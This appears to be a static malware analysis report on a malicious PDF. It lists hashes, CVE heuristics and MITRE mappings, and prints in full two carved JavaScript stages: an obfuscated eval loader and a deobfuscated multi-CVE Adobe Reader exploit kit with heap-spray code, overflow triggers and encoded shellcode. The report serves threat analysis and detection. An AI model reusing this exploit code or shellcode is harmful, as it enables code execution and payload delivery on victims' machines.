Malicious PDF — malware analysis report

Static analysis result for SHA-256 fd68bad5d4041db1…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar First seen: 2026-05-08
MD5: 60b2597f8d091617fdba8f7fffae56a9 SHA-1: c8c0deb31b22d87fb518e3d178ef05596ea67eae SHA-256: fd68bad5d4041db1aaa067587ee532cf6ce368b15beb94879774687f5916c66e
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically targeting functions like Collab.collectEmailInfo, Collab.getIcon, util.printf, and media.newPlayer. This JavaScript is designed to exploit these CVEs to achieve arbitrary code execution, likely to download and run a secondary malicious payload. The ML classifier also strongly indicated maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13865 392 bytes
SHA-256: 368e799190c95c9566f6bedce152ab21bf4175ae18e604b111efe16105839c13
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var xvecd="";
dmz='his';
zlw='tit';
e('hnnv=t'+dmz+"."+zlw+t);
t='cer'
yxkk='produ';
e('qqh=t'+dmz+"."+yxkk+t);
mylx=e('St'+qqh+'Code');
bkfo = e(hnnv);
e('k=bkfo.length');
for (i = 0; i < k; i+=2) {
	grxoc = bkfo[i] + bkfo[i+1];
	xvecd += mylx(grxoc);
}
e(xvecd);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 993a22f7bf6f219b3c56b67c15f2da5e5ed1895fe5bb5f97d7ec2a485524845a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4834%ue2aa%uc3fa%ue5e8%uffff%ua1ff%u4944%u4848%uc916%u14a4%u4849%uc148%uc5af%u5807%u27c5%u791c%u1f93%u1b19%u1b1b%u1b1b%u1b1b%u1b1d%u201b%u494c%u4848%u1e1d%u201b%u2627%u4848%u3d20%u243a%u1c25%uc620%u4606%ua0a4%u4800%u4848%ua018%u4834%u4848%u98b7%u8ccb%u2040%ua707%u4d07%ua018%u4824%u4848%u98b7%u88cd%u5f3d%u1c22%ubb11%u20e2%ub63a%u5efb%u55a0%u4848%u1848%u19a0%u4848%ub748%u1b98%ub622%uc120%u4927%ua0f5%u4840%u4848%ua018%u4874%u4848%u98b7%u7928%u2c88%u18c3%uc378%u441a%u1ac3%uc35c%u603a%u50f1%u4848%u7948%u79b7%ue488%u2974%u4a34%u6864%u8789%u4945%uaa8f%uc9b8%u13b7%u02f4%uc322%u580a%u5ac3%u913d%u0cc1%u546c%u8b29%uc328%u6c24%uc36c%u740d%u1cc3%u304d%ua249%u02c3%uc350%u6812%ua349%u7cab%uc301%uc37c%ua649%ub779%u8879%ue4b4%u88cc%u4f3c%u8789%u4945%ua38f%u73bc%u6c34%u3d60%uc3a9%u6c12%ua349%uc32e%u0344%u12c3%u4954%uc3a3%uc34c%ua049%u0cc1%u546c%u8a29%u4840%ua7a0%ub7b6%u20b7%u3c3c%u7238%u6767%u3024%u3d39%u2b66%u6627%u2b2b%u2767%u3866%u3820%u2e77%u7975%u6e7e%u752d%u487d';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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